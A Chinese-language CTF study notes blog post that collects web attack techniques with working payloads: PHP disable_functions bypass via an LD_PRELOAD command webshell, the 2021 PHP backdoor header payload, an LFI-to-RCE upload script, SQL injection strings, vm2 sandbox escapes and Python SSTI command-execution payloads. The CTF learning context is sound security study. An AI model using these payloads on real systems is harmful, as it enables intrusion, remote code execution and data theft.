ctf解题知识点记录(持续更新)

一、无数字字母shell

利用到的PHP特性:

1、代码中没有引号的字符都自动作为字符串

PHP的经典特性“Use of undefined constant”,会将代码中没有引号的字符都自动作为字符串,7.2开始提出要被废弃,不过目前还存在着。可以理解为$_GET['cmd'] = $_GET[cmd],目前PHP8版本尚未测试是否能用

2、使Ascii码大于Ox7F的字符都会被当作字符串

3、PHP在获取HTTP GET参数的时候默认是获得到了字符串类型

4、PHP中的的大括号(花括号}使用详解

在字符串的变量的后面跟上{}大括号或者中括号[],里面填写了数字,这里是把字符串变量当成数组处理,可以理解为${_GET}{cmd} = $_GET['cmd'] = $_GET[cmd]

5、字符串可以用!操作符来进行布尔类型的转换

<?php
var_dump(@a);   //string(1) "a"
var_dump(!@a);  //bool(false)
var_dump(!!@a); //bool(true)

6、PHP弱类型特性

PHP由于弱类型这个特性,true的值为1,所以true+ture=2

7、自增性

在受到限制的时候,可以通过自增获得自己想要的字符'a'++ => 'b','b'++ => 'c'

二、文件上传

1、利用.htaccess上传文件

  • <?被过滤时,用伪协议绕过,上传时上传base64编码过的文件
AddType application/x-httpd-php .xxx
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.xxx"

意思是将后缀.xxx的文件当作php文件进行执行。

三、绕过open_basedir/disable_function的几种方法

  • 参考链接:

bypass open_basedir的新方法

通过chdir来bypass open_basedir

php5全版本绕过open_basedir读文件脚本

无需sendmail:巧用LD_PRELOAD突破disable_functions

disable_function绕过--利用LD_PRELOAD

bypass_disablefunc_via_LD_PRELOAD

1、chdir绕过

<?php
mkdir('xxx');
chdir('xxx');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
echo(file_get_contents('flag'));
?>

2、链接文件绕过

PHP5版本可用

3、disable_function绕过--利用LD_PRELOAD

条件:PHP 支持putenv()和下面用到的函数

<?php
    echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";

    $cmd = $_GET["cmd"];
    $out_path = $_GET["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
    echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

    putenv("EVIL_CMDLINE=" . $evil_cmdline);

    $so_path = $_GET["sopath"];
    putenv("LD_PRELOAD=" . $so_path);

    mail("", "", "", "");
    //error_log("err",1,"","");
    //$img = Imagick("1.mp4");//如果有ImageMagick这个扩展(文件必须存在)
    //imap_mail("","","");//需要安装imap拓展
    //mb_send_mail("","","");

    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; 

    unlink($out_path);
?>

四、常见RCE

1、北京时间2021.3.29,git.php.net服务器遭到黑客攻陷,php源码被黑客植入后门。

改包头:

payload:User-Agentt: zerodiumsystem('cat /flag');

2、本地文件包含RCE

php7 segment fault特性

php://filter/string.strip_tags=/etc/passwd
php执行过程中出现 Segment Fault,这样如果在此同时上传文件,那么临时文件就会被保存在/tmp目录,不会被删除

payload:(例题:[NPUCTF2020]ezinclude)

import requests
from io import BytesIO

payload = "<?php eval($_POST[cmd])?>;"
file_data={
	'file': BytesIO(payload.encode())
}
url="http://588b9bf7-3c49-41b6-93e3-823b74ef67bf.node3.buuoj.cn/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
try:
	r=requests.post(url=url,files=file_data,allow_redirects=False)
except:
        print(False)

LFIroRCE总结

文件包含&奇技淫巧

五、SQL注入

1、md5绕过

查询语句:SELECT * FROM users WHERE password ='".md5($password,true)."' limit 0,1

payload:password=12958192621165157191246674165187868 或 password=ffifdyop

2、regexp注入

用于逐字符注出:(NCTF2019—SQLi)

payload:name(表名或字段名) regexp '^[a-zA-Z0-9]'(这里需要爆破字符)

3、用于闭合引号的注释符

#  
--+
--
;%00
/**/
`

4、mysql中点引号( ' )和反勾号( ` )的区别

linux下不区分,windows下区分
区别:
单引号( ' )或双引号主要用于字符串的引用符号
eg:mysql> SELECT 'hello', "hello" ;

反勾号( ` )主要用于数据库、表、索引、列和别名用的引用符是[Esc下面的键]
eg:`mysql>SELECT * FROM   `table`   WHERE `from` = 'abc' ;

5、堆叠注入

(1)改数据表

运用:(2021虎符WEB—“慢慢做”管理系统)

paylaod:';use ctf2;rename table `fake_admin` to `test`;rename table `real_admin_here_do_you_find` to `fake_admin`;
(2)预处理语句

关于MySQL中的预处理语句原理与使用,这篇文章讲解的比较详细:MySQL的SQL预处理(Prepared)。本题中由于可以使用堆叠查询,并且需要使用SELECT关键字并绕过过滤,因此想到利用字符串转换与拼接构造语句最后执行,这时就可以使用预处理语句。

预处理语句使用方式:

PREPARE sqla from '[my sql sequece]';   //预定义SQL语句
EXECUTE sqla;  //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla;  //删除预定义SQL语句

预定义语句也可以通过变量进行传递,比如:

SET @tn = 'hahaha';  //存储表名
SET @sql = concat('select * from ', @tn);  //存储SQL语句
PREPARE sqla from @sql;   //预定义SQL语句
EXECUTE sqla;  //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla;  //删除预定义SQL语句

运用:(Web-随便注)

paylaod:';SET @sql=concat(char(115,101,108,101,99,116)," * from `table_name`");PREPARE sqla from @sql;EXECUTE sqla;#

六、nodejs

1、绕过关键字过滤(prototype、process等)

(1)拼接绕过
f.constructor("return process")();
等价于
f[[c,o,n,s,t,r,u,c,t,o,r]join]([r,e,t,u,r,n,,p,r,o,c,e,s,s]join)();
(2)结合数组调用绕过
`${`${`prototyp`}e`}` == prototype

2、vm2沙盒逃逸([HFCTF2020]JustEscape)

方法一:

"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
    TypeError.prototype.get_process = f=>f.constructor("return process")();
    try{
        Object.preventExtensions(Buffer.from("")).a = 1;
    }catch(e){
        return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
    }
}+')()';
try{
    console.log(new VM().run(untrusted));
}catch(x){
    console.log(x);
}

方法二:

"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
    try{
        Buffer.from(new Proxy({}, {
            getOwnPropertyDescriptor(){
                throw f=>f.constructor("return process")();
            }
        }));
    }catch(e){
        return e(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
    }
}+')()';
try{
    console.log(new VM().run(untrusted));
}catch(x){
    console.log(x);
}

七、SSTI

PYTHON

1、各种payload

命令执行

<class 'warnings.catch_warnings'>

''.__class__.__mro__[1].__subclasses__()[135].__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")

<class 'subprocess.Popen'>

{{''.__class__.__mro__[1].__subclasses__()[437]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}

<class '_frozen_importlib._ModuleLock'>

#eval
''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")

''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__.__builtins__.eval("__import__('os').popen('whoami').read()")

#__import__
''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__.__builtins__.__import__('os').popen('whoami').read()

''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()

其他利用方法(os.system执行成功的返回值为0)

#万金油,必会
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}

#<class '_frozen_importlib_external.FileFinder'>
().__class__.__bases__[0].__subclasses__()[93].__init__.__globals__["sys"].modules["os"].system("ls")

#<class 'codecs.StreamReaderWriter'>
''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__["sys"].modules["os"].system("ls")

#<class 'os._wrap_close'>
[].__class__.__base__.__subclasses__()[127].__init__.__globals__['system']('ls')
().__class__.__bases__[0].__subclasses__()[-4].__init__.__globals__['system']('ls')

<class 'traceback.FrameSummary'>
{{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].popen('whoami').read()}}
文件读取

<class '_frozen_importlib._ModuleLock'>

{{''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['open']('test.txt').read()}}

<class 'click.utils.LazyFile'>

{{ ''.__class__.__mro__[1].__subclasses__()[341]('test.txt').read()}}

<class 'warnings.catch_warnings'>

{{''.__class__.__mro__[1].__subclasses__()[135].__init__.__globals__['__builtins__'].open('test.txt','r').read()}}

<class 'codecs.IncrementalEncoder'>

{{{}.__class__.__mro__[1].__subclasses__()[103].__init__.__globals__['open']('test.txt').read()}}

2、部分过滤绕过

函数名被过滤——用+号拼接,例如:'po'+'pen' = 'popen'

关键字符被过滤——使用编码绕过

连接的.被过滤——用|attr进行拼接,例如:attr("\x5f\x5fclass\x5f\x5f")|attr("\x5F\x5Fbases\x5F\x5F") = __class__.__bases__

包裹的{{ }}被过滤——用{% %}绕过

RUBY

Ruby ERB模板注入

Ruby 预定义变量

payload

<%= 7 * 7 %>

例题:[SCTF2019]Flag Shop

八、反序列化

PHP

魔术方法

__get
当对象调用不可访问属性时,就会自动触发get魔法方法。

__call
在对象调用不可访问函数时,就会自动触发call魔法方法。

__construct
当对象被创建的时候调用。

__destruct
当对象被销毁的时候调用。

__toString
当对象被当作一个字符串使用时候调用(不仅仅是echo的时候,比如file_exists()判断也会触发)。

__sleep
序列化对象之前就调用此方法(其返回需要是一个数组)。

__wakeup
反序列化恢复对象之前就调用此方法。

__call
当调用对象中不存在的方法会自动调用此方法。

  • SoapClient
这个也算是目前被挖掘出来最好用的一个内置类,php5、7都存在此类,可以利用SoapClient中的__call方法进行SSRF。
原文地址:https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html#_label1_0

字符逃逸

function safe($parm)
{
    $array = array('union', 'regexp', 'load', 'into', 'flag', 'file', 'insert', "'", '\\', "*", "alter");
    return str_replace($array, 'hacker', $parm);
}

问题就出在这里,该函数对字符串进行了一些替换,但是替换前后字符串长度可能发生变化,比如将union替换为hacker增加了一个字符,于是我们可以利用这个漏洞将我们的序列化字符串逃逸出来。如果不这样做,payload就会当作一个普通字符串,而不是序列化里的内容。

杂项

哈希长度拓展攻击

哈希长度扩展攻击的简介以及HashPump安装使用方法

payload:(例题:[NPUCTF2020]ezinclude)

import os
import requests
for i in range(1,12):
    data=os.popen('hashpump -s fa25e54758d5d5c1927781a6ede89f8a -d admin -k '+str(i)+' -a admin').read()
    name=data.split('\n')[0]
    password=data.split('\n')[1].replace('\\x','%')
    result=requests.get('http://c1952ab8-b389-4d44-b2b5-07020d9d4886.node3.buuoj.cn/?name='+password+'&pass='+name).text
    print(result)

PHP根据随机数预测种子

php_mt_rand 工具只能用于爆破mt_rand()函数产生的随机数的种子值, 无论是否显式调用mt_srand()函数播种,但不能用于mt_rand(1,1000)这种指定范围的和rand函数的爆破

例题:[MRCTF2020]Ezaudit

posted @ 2021-04-08 21:21  seven昔年  阅读(1210)  评论(0编辑  收藏  举报